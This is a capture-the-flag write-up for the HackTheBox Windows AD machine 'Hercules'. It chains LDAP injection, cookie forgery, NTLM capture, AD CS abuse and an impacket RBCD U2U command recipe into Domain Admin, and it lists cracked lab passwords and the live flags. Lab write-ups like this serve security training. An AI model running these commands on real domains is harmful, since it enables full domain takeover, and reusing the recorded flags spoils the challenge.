Back to writeups
HTBmachineInsanesolved

Hercules

14 Jul 2026 · by 0xIDA

Solvers

Hercules (HTB Insane Windows AD)

Author: 0xIDA

Solvers

Summary

Insane Windows AD box (id 778, maker birkk). Chain: LDAP injection on HTTPS portal → description password spray → ASP.NET machineKey path traversal → FormsAuth cookie forge → Bad-ODF NetNTLMv2 (natalie.a) → Shadow Credentials / OU move → ForceChangePassword Auditor → WinRM user → Forest Migration GenericAll + cleanup for AdminSDHolder → AD CS ESC3 Enrollment Agent → IIS_Administrator → RBCD U2U as Domain Admin.

Primary walkthrough used: https://www.ibrahimisiaqbolaji.com/2025/10/hercules-htb-walkthrough.html

Flags (live)

user: 02b1f8ed466b01e838199de50869b31f
root: ce09e97116bebe140a8199b74b9f717f

Verified via WinRM command output. Submit via HTB API/MCP if routes available.

Environment notes

  • Target IP this session: 10.129.49.82 (dc.hercules.htb / hercules.htb)
  • Attacker: 10.10.15.137 (tun0)
  • NTLM disabled on domain services — Kerberos only for LDAP/WinRM
  • Clock skew kills Kerberos (KRB_AP_ERR_SKEW); sync time from HTTPS Date header: 
    DATE=$(curl -skI --resolve hercules.htb:443:IP https://hercules.htb/ | awk -F': ' 'tolower($1)=="date"{print $2}' | tr -d '\r')
date -u -s "$(date -u -d "$DATE" '+%Y-%m-%d %H:%M:%S')"
  • Prefer IPv4 for dc.hercules.htb (avoid dead:beef IPv6 noise)

User path (abbreviated)

  1. LDAP blind injection on https://hercules.htb/Login (double URL-encode). Enumerate description → change*th1s_p@ssw()rd!! works for ken.w.
  2. Login as ken.w → /Home/Download?fileName=../../web.config → machineKey.
  3. Forge .ASPXAUTH for web_admin (AspNetCore.LegacyAuthCookieCompat).
  4. Upload Bad-ODF → Responder (stop smbd first) → crack natalie.a:Prettyprincess123!.
  5. certipy-ad shadow auto natalie → bob.w; move stephen.m into Web Department OU; shadow stephen.
  6. stephen (Security Helpdesk) set password Auditor; WinRM → C:\Users\auditor\Desktop\user.txt.

Root path (abbreviated)

  1. Auditor owns Forest Migration OU (GenericAll).
  2. Ashley via AD CS: enable fernando.r (Smartcard Operators) → EnrollmentAgent cert (-dcom) → on-behalf-of ashley.b.
  3. Start-ScheduledTask "Password Cleanup" (ashley Desktop aCleanup.ps1) clears adminCount on protected accounts.
  4. Immediately re-GenericAll; enable/reset iis_administrator; ForceChangePassword iis_webserver$ (user account, not computer).
  5. DC has msDS-AllowedToActOnBehalfOfOtherIdentity → SID of iis_webserver$.
  6. Session-key password trick + getST -u2u -force-forwardable for http/dc.hercules.htb as Administrator.
  7. WinRM → C:\Users\Admin\Desktop\root.txt.

RBCD U2U recipe (critical)

# H = current NT hash of iis_webserver$
impacket-getTGT -hashes :$H 'hercules.htb/iis_webserver$' -dc-ip $IP
SESSION=$(impacket-describeTicket 'iis_webserver$.ccache' | awk -F': ' '/Ticket Session Key/{print $2}' | tr -d ' ')
export KRB5CCNAME=./iis_webserver\$.ccache
impacket-changepasswd -newhashes :$SESSION -hashes :$H 'hercules.htb'/'iis_webserver$'@dc.hercules.htb -k -dc-ip $IP
# DO NOT re-request TGT — reuse same ccache
impacket-getST -u2u -impersonate Administrator -spn 'http/dc.hercules.htb' \
  -k -no-pass -force-forwardable -hashes :$SESSION 'hercules.htb/iis_webserver$' -dc-ip $IP
export KRB5CCNAME=./Administrator@http_dc.hercules.htb@HERCULES.HTB.ccache
python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb

Pitfalls

  • Responder needs free 445 (stop system smbd)
  • Certipy RPC may timeout; use -dcom
  • AdminSDHolder (adminCount=1) blocks OU GenericAll until Password Cleanup clears it — race after cleanup
  • iis_webserver$ is a user in IIS Service Users OU → need U2U + session-key hash dance
  • Re-requesting TGT after changepasswd to session key breaks U2U — keep original ccache
  • evil-winrm needs HTTP SPN ticket for Kerberos SSL WinRM

Tools

nmap, curl, kerbrute/nxc, .NET LegacyAuthCookieCompat, Responder, john, certipy-ad, bloodyAD, impacket-getTGT/getST/changepasswd, evil-winrm / winrmexec

Paths

  • Workdir: `
  • Writeups: